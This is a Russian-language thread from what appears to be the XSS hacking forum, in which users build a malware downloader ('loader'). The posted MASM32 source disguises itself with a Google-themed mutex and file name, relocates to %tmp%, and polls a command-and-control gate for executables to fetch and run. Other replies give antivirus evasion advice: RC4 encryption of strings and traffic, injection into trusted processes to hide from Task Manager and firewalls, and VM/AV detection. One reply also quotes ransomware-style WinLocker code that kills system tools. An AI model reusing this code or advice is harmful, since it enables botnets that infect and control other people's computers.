• XSS.stack #1 – первый литературный журнал от юзеров форума

Разработка лоадера

Пожалуйста, обратите внимание, что пользователь заблокирован
Итак, публикую то, что я смог пока что написать. Сразу говорю, этот кусок кода я пилил несколько дней (практически в течение всего дня), вышло мало потому что мало опыта, за каждой строкой приходилось компилировать лоадер, смотреть что да как. Семпл не идеальный, мб что-то вылетает, и главное - еще много чего следует дописать.

Intro
Админку я взял от лоадера 2к8 для начала. Как я понял, отстук тут весьма простой. Бот генерирует айди, исходя из условия, что длина его не больше 8 символов, и входят туда только цифры или буквы от a до f, т.е. попросту говоря, как шестнадцатеричные цифры. Потом стучит на гейт гет запросом вида /gate.php?id=1357acef . Админка же возвращает пустую страницу, если нет ничего (нет задания, бот забанен или не подходит по критериям), или же ссылку(и) в виде http://site.com/link/bot.exe; (разделитель можно ставить точку с запятой или другой).

Поначалу я очень сильно недоумевал, почему выбрано именно такое айди. Ведь при 8 знаках, да еще при выборе из 6 букв и 10 цифр вполне могут быть накладки и повторы. Но для начала, подумал, сойдет и так, все таки лоадер 2к8 писали умные люди (а не такие, как я) и начал писать алгос генерации айди. Сделал 2 алгоритма (случайная генерация строки), но к счастью в конфу зашел el- , который мне пояснил, что все это генерируется всего лишь 1 функцией GetVolumeInformation , которая и дает тот самый 8 значный айди по критерию, а именно айди жесткого диска.

Теперь, что касается самого лоадера. Код буду писать частями.
Код:
.586                      
.model flat, stdcall      
option casemap :none

include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,masm32,user32,wininet,shell32,ntdll

.data
mutex db "GoogleUpdater",0;мютекс
gate db "http://loader.my/gate.php",0;путь к гейту
lpszAgent db "loader v.0.1 alfa",0;юзерагент
delay LARGE_INTEGER <>;для таймаута
first db 128 dup (0);параметры командной 
second db 128 dup (0);строки процесса


.data?
gatebuf db 1024 dup (?);запрос к гейту
url2file db 1024 dup (?);путь к файлу для скачивания
hMut dd ?;хендл мютекса
Секции данных, инклуды, ничего особенного.


запускаясь, бот через макрос GetCL получает аргументы командной строки, и смотрит, с какими параметрами его запустили. Будут два параметры, апдейт (пока не дописал, да и хз, надо ли это в нерезиденте), и удаление исходного файла (как писали выше, вдруг запустился файл с флешки или еще откуда?). Если есть параметры и параметр - удалить, бот удаляет то, что передали вторым параметром, т.е. запрос выглядит вида new.exe -del -тут_путь_к файлу что запустил.

Троекратная попытка удаления (с таймаутом 5 секунд), вдруг что-то зависло там или старый файл не успел выгрузится еще.
Код:
main PROC
local curfname[128]:byte
local botid[32]:byte
local tmpbuf[128]:byte
local VSNumber:dword;серийный номер

invoke GetCL, 2, offset second; получаем второй элемент командной строки
	.if eax!=1;если его нет, значит запуск без параметров или ерунда какая-то
  nop
	.elseif eax==1;если же с параметрами - тогда обрабатываем их,апдейт или удалить
  invoke GetCL, 1, offset first;получаем 1 параметр
  .if eax==1
  	switch$ offset first
    case$ "del"
                        invoke DeleteFile,addr second
                            .if eax==0;удалить не удалось
                            mov esi,3;до трех раз пробуем удалить, вдруг зависло что
                            @@:
                            invoke Sleep,5000;интервал 5 секунд
                            invoke DeleteFile,addr second
                            dec esi
                            cmp esi,0
                            jnz @B
                            .endif
    case$ "upd"
    nop
  	endsw$
  .endif
	.endif

Далее бот создает мьютекс (вот не знаю, может это вначале разместить, т.е. до параметров командной строки?) и проверяет, нет ли такого мютекса в системе. Если есть - машина уже инфицирована, хз что тут делать.

Код:
invoke CreateMutex,NULL,0,addr mutex;создаем мьютекс
invoke GetLastError
cmp eax,ERROR_ALREADY_EXISTS;если уже запущен
je copy_launched;сообщаем в админку или удаляемся или хз
mov hMut,eax;иначе сохраняем хендл

Процедура установки в систему. Сверяет путь к файлу, если он сейчас не в %tmp% - копирует туда, запускает файл (который скопирован в темп), и передает ему команду на удаление исходного. Дроппер удаляет мьютекс и выгружает себя (файл с темпа его удалит).
Код:
invoke GetModuleFileName,0,addr curfname,sizeof curfname;текущий путь к файлу
invoke ExpandEnvironmentStrings,chr$("%tmp%"),addr tmpbuf,sizeof tmpbuf;путь к темп
invoke lstrcat,addr tmpbuf,chr$("\GoodGoogle.exe");добавляем к нему имя фаела

;приводим инсталл путь к "длинному" пути - ибо сравнение не корректно реагирует
invoke GetLongPathName,addr tmpbuf,addr tmpbuf,sizeof tmpbuf
invoke lstrcmpi,addr curfname,addr tmpbuf;сравниваем текущий путь и инсталл путь
	test eax,eax;если бот  инсталирован
	jz allr; переход куда-то дальше
  invoke CopyFile,addr curfname,addr tmpbuf,FALSE;Если фолс, идет перезапись при копи
	;формируем строку запроса для удаления, буфер шаблон , путь к дропперу
  invoke wsprintf,addr second,chr$("%s %s"),chr$("del"),addr curfname
            invoke CloseHandle,hMut;закрываем мьютекс, чтобы не было проблем с апдейтом	
            invoke ShellExecute,0,chr$("open"),addr tmpbuf,addr second,0,SW_SPOILER
  exit
Далее, бот уже лежит где надо, это не первый запуск. Бесконечный отстук в админку за заданием.
Сначала получаем айди жесткого диска, формируем строку для отстука на гейт.

Код:
invoke GetVolumeInformation,0,0,0,addr VSNumber,0,0,0,0
invoke wsprintf,addr botid,chr$("%p"),VSNumber
invoke szLower,addr botid;переводим в нижний регистр,ибо админка принимает лишь такое
invoke wsprintf,addr gatebuf,chr$("%s?id=%s"),addr gate,addr botid

Делаем таймаут для NtDelayExecution
Код:
mov delay.HighPart,0FFFFFFFFh
mov delay.LowPart,-(5*60*1000*10000);отстук каждые 5 минут
Далее, запуск собственно процедуры отстука, и проверка, что она вернула.
Код:
@@:
invoke NtDelayExecution,1,addr delay
call getTask;функция отстука, если задание есть, возвращает 1, если нет 0
test eax,eax;есть задание?
jnz @b;если нет, стучим дальше
Если вернулась 1 - значит, в буфере url2file путь к файлу.
тут скачивание файла, запуск его и самоудаление (пока не дописано).

Функция отстука на гейт простая:
Код:
getTask proc
;если задания нет, возвращает 0, иначе 1
local InternetHandle:dword
local FileHandle:dword
local b2read:dword

invoke InternetOpen,offset lpszAgent,0,0,0,0
mov InternetHandle,eax
invoke InternetOpenUrl,InternetHandle,offset gatebuf,0,0,0,0
mov FileHandle,eax
invoke InternetReadFile,FileHandle,offset url2file,1024,addr b2read
	.if b2read==0
  invoke InternetCloseHandle,InternetHandle
  xor eax,eax;mov eax,0
  ret
	.endif
invoke InternetCloseHandle,InternetHandle
mov eax,1
ret
getTask endp
В функцию надо добавить разные проверки (а есть ли инет вообще на компе?) и прочее (что упоминал KraZz в своей теме).

Что надо еще доделать:
1. DetectAV proc - процедуру для детекта аверского и реверс софта.
2. Что делать в случае, если попали на аверскую машину - например, процедуру фейковой работы сделать (стучать куда то налево), или просто вывести мессаджбокс с ошибкой, или хз.
3. Собственно, самое важное - скачивание и запуск файла, самоудаление лоадера. Думаю, это будет на сокетах/вининет.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
небольшой fix.
структура delay LARGE_INTEGER должна быть выровнена по 8 байт. Т.е. или стоять сразу же после .data, или надо дописать align 8. Иначе функа ntDelayExecution не работает. Большое спасибо Apocalypse за помощь с этим, а то так никогда бы и не понял, в чем дело.

Наверное, выкину я эту функу. Хоть waahoo и говорил, что она лучше Sleep, но какое-то сложное это Native Api.

И да, второй параметр ntDelayExecution должен быть 0, а не 1 (ошибся я в коде).
 
Quake3 пишет:
или же ссылку(и) в виде http://site.com/link/bot.exe; (разделитель можно ставить точку с запятой или другой).
Это не есть, как бы тру, такое заюзать не каждый захочет, чтобы светить свой "хост" почем зря
Такие легкие вещи доступны даже примитивным песочницам, не говоря уже о ламерских дятлах (сниффающих мальчиков, которых в аверских конторах многотысячная армия) из аверских контор
Сейчас уже 2012 год, а не 2008-2009 чтобы позволить себе юзать подобный "трЭшш..."
Для начала нужно начинать с функции шифрования строк (все строки надо обязательно шифровать), чем она будет сложнее, тем будет дольше в "долгом ящике" находиться на анализе у аверов и соответственно будет дольше жить сабж
Функция(и) шифрования/дешифрования строк должна быть реализована так, чтобы не вызывала подозрений (имела к примеру странный вид уникоде строки, но при ее дешифровании получалась обычная ASCII строка), но при анализе этой функции у авера вызывала рвотный рефлекс и требовала более квалифицированного существа чем просто рядовой аверский дятел
Поэтому тебе/вам нужно будет написать функцию(и) шифрования/дешифрования строк не только на ASM`е, но и ее аналог на PHP
Шифруем, передаем (к примеру, через POST запрос), в "админке" расшифровываем (pack/unpack) и т.д. (аналогично в обратном напровлении)
Вот тебе немного "приватной" инфы для размышлений, не надо обсуждать или пытаться спорить (я знаю что у тебя будет взрыв мозга от увиденного), просто сделай выводы сам, не опираясь на чужое мнение "оффтАритетАфф"
читаем что здесь написано про строки (чет ник знакомый)
_http://shyrkac0der.blogspot.com/2012_03_01_archive.html - nod32 посылаем его по дальше
Теперь смотрим сюда:
http://hack-sell.su/index.php?/user/3218-s...ge__tab__topics - Silence WinLocker
ну, а теперь кодес из этого локера:

//ADDRESS: 00401880
LPSTR DecryptString(LPSTR pCryptedString) //+
{
LPSTR str = (LPSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 255);
strcpy(str, pCryptedString);
for(DWORD i=0; i < strlen(pCryptedString); i++)
{
str = str^0x18;
}
return str;
}// end « DecryptString »

//ADDRESS: 00401D00
void __stdcall ThreadKillProcesses(LPVOID nouse) //+
{
while(TRUE)
{
Sleep(1);
KillProcess("taskmgr.exe");
KillProcess("msconfig.exe");
KillProcess("regedit.exe");
//TODO: Утечка памяти!
KillProcess(DecryptString((LPSTR)csCmd_exe)); // "cmd.exe"
PostMessage(hWndMain, WM_RBUTTONDOWN, 0, 0);
}
}// end « ThreadKillProcesses »
Обрати внимание на тот факт что в цикле идет утечка памяти...

P. S.
Насчет менеджера, оптимально подойдет TrashGen, он имеет те знания, которые нужны для этого проекта, никому не даст расслабицца + у него есть большой потенциал (тем более он на деле показал, что может тянуть проект даже тогда, когда это "очень проблематично"), жаль будет, если он так свой потенциал и не использует/реализует - ИМХО
Пробуйте его позвать, может у вас что-то и получится...
 
invoke ExpandEnvironmentStrings,chr$("%tmp%"),addr tmpbuf,sizeof tmpbuf;путь к темп
invoke lstrcat,addr tmpbuf,chr$("\GoodGoogle.exe");добавляем к нему имя фаела
можно заменить на
invoke ExpandEnvironmentStrings,chr$("%tmp%\GoodGoogle.exe"),addr tmpbuf,sizeof tmpbuf

Функция(и) шифрования/дешифрования строк должна быть реализована так, чтобы не вызывала подозрений (имела к примеру странный вид уникоде строки, но при ее дешифровании получалась обычная ASCII строка), но при анализе этой функции у авера вызывала рвотный рефлекс и требовала более квалифицированного существа чем просто рядовой аверский дятел
весь протокол должен быть зашифрован, в качестве алгоритма можно использовать RC4, реализация есть и на асме и на PHP. лично я не шифрую линки до панели, т.к. у меня полезная нагрузка, которая работает в доверенном процессе, вывернута до неузнаваемости в исходном бинаре.

Quake3, можешь стукнуть за алгосами, пхп реализацию спиздил где-то, асм сам переписывал в одну процедуру, он жеж какбэ потоковый.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Chococream
Я, собственно, успел написать только то, что в посте выше. Ниже выложу код 1 файлом.

el-
Да, очень хочу. Вот весь код 1 файлом:
http://paste.dlab.org.in/219 (поскольку данный движок съедает @@, дублирую еще тут)
http://pastebin.com/QS50eekF

accwranadm
Спасибо за совет, не знал, что так сразу можно подставлять путь к файлу.
По алгоритмам - стукну тебе, ибо сам я вряд ли напишу реализацию того же RC4.

KraZz
Я с тобой не спорю и согласен, шифровать надо. Спасибо за совет с этим. Пока что я не думал про это, ибо 1)кодил другое; 2) мы решили для начала взять готовую админку, в которой шифрования нет. Но думаю да, ты прав, даже перед первым релизом надо доделать хотя бы простое шифрование.

В связи с этим такой ламерский вопрос - стоит ли брать известный шифр (вида того же RC4), или попробовать сделать что-то свое? Я не разбираюсь в криптографии вообще, но вот пример - когда я сделал квест, и поставил там простенький алгоритм rot13 (фактически - никакого шифрования и нет, все элементарно), его никто не дешифровал. Я вот и думаю - а может не делать ничего суперсложного (типа aes,rsa), а попробовать сделать что-то простое (рот13+ксор например), но свое? Какое ваше мнение по этой идее?
 
Сейчас уже 2012 год, а не 2008-2009 чтобы позволить себе юзать подобный "трЭшш..."
Для начала нужно начинать с функции шифрования строк (все строки надо обязательно шифровать), чем она будет сложнее, тем будет дольше в "долгом ящике" находиться на анализе у аверов и соответственно будет дольше жить сабж
Функция(и) шифрования/дешифрования строк должна быть реализована так, чтобы не вызывала подозрений (имела к примеру странный вид уникоде строки, но при ее дешифровании получалась обычная ASCII строка), но при анализе этой функции у авера вызывала рвотный рефлекс и требовала более квалифицированного существа чем просто рядовой аверский дятел

Такие простые схемы и правда сбивают с толку аверов на достаточное время? И подобное имеет смысл?
 
В связи с этим такой ламерский вопрос - стоит ли брать известный шифр (вида того же RC4), или попробовать сделать что-то свое? Я не разбираюсь в криптографии вообще, но вот пример - когда я сделал квест, и поставил там простенький алгоритм rot13 (фактически - никакого шифрования и нет, все элементарно), его никто не дешифровал. Я вот и думаю - а может не делать ничего суперсложного (типа aes,rsa), а попробовать сделать что-то простое (рот13+ксор например), но свое? Какое ваше мнение по этой идее?
можно хоть что, например малех изменить RC4, но труда никакого не составит при целенаправленном реверсе содрать код дешифровщика, но усложнять жизнь аверам всеже нужно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ar3s
Да, этот способ вызова апи можно будет добавить потом в лоадер (чтобы не грузить их напрямую, как сейчас). Но, честно говоря, в данное время мне лично интересно самому попробовать разработать хотя бы каркас лоадера (чем брать что-то готовое). Хочется получить опыт системного кодинга.
 
Что вы занимаетесь, ерундой полной, 2 строчками кодеся, все что вы в коментах накидали у всех уже есть, тут обходы главное их и делайте. Остальное все присобачите легко. Ядро лоадера это обходы. Не хотел грубо,сри если обидел.
 
Практика показывает, что остук лоадера без обходов не намного отличается от отстука лоадера с обходами, один хер все палится. Единственное, что можно реализовать - анализ окружения на предмет всяких ВМ, АВ и т.п. дабы продлить жизнь админке.

Но опять же, если лоадер нерезидент - на админку пох в принципе.
 
http://pastebin.com/k0juCBp9

Да по-сути правильно он пишет, "обходы нужны"
Есть такие "нормальные" в паблике 2 "обхода" - один, что в андромеде юзается (да в принципе, где он только не юзается), но там нужно "базонезависимый" код делать, а второй мене заезженный (ИМХО), но более древний, для его реализации уже "НЕ нужен" базонезависимый код, но там тоже свои заморочки при внедрении в доверительный процесс
Внедрять ("делать обход") надо хотя бы для того, чтобы скрыть процесс из таскменеджера и т.д. и чтобы адская стена пропускала сетевую активность - это и есть то "главное" ради чего это нужно делать, а не для там всяких обходов AV как это де-факто принято считать...

ЗЫ: что под хайдом СПЕЦИАЛЬНО выложил, чтобы показать как НЕ НАДО кодить и ткнуть на того кто так кодит...

P. S.
Может позже выложу, немного "интересного".. (там может быть уже станет интересно и "старичкам"), хотя и не хочется этого делать, так как все обсуждения походу идут в конфе, что естественно не очень радует...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
porky365
Ну кому две строчки, а кому 2 недели)

Apocalypse
почему пох? А как считать, сколько ботов отстучало хотя бы?

KraZz
Обязательно выкладывай. Конфа конфой, но форум также все читают (как видно даже из этой темы).

Кстати,
СПЕЦИАЛЬНО выложил, чтобы показать как НЕ НАДО кодить
А как надо? Я не работал с такой памятью, но как я понимаю, надо в функции перед ретурном делать HeapFree? Ошибка в том, что память выделяется в цикле, но не освобождается, верно?
 
Quake3 пишет:
Наверное, выкину я эту функу. Хоть waahoo и говорил, что она лучше Sleep
Quake3 пишет:
Но, честно говоря, в данное время мне лично интересно самому попробовать разработать хотя бы каркас лоадера (чем брать что-то готовое). Хочется получить опыт
Quake3 пишет:
Ошибка в том, что память выделяется в цикле, но не освобождается, верно?
В этих местах ты правильно думаешь! - ИМХО
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх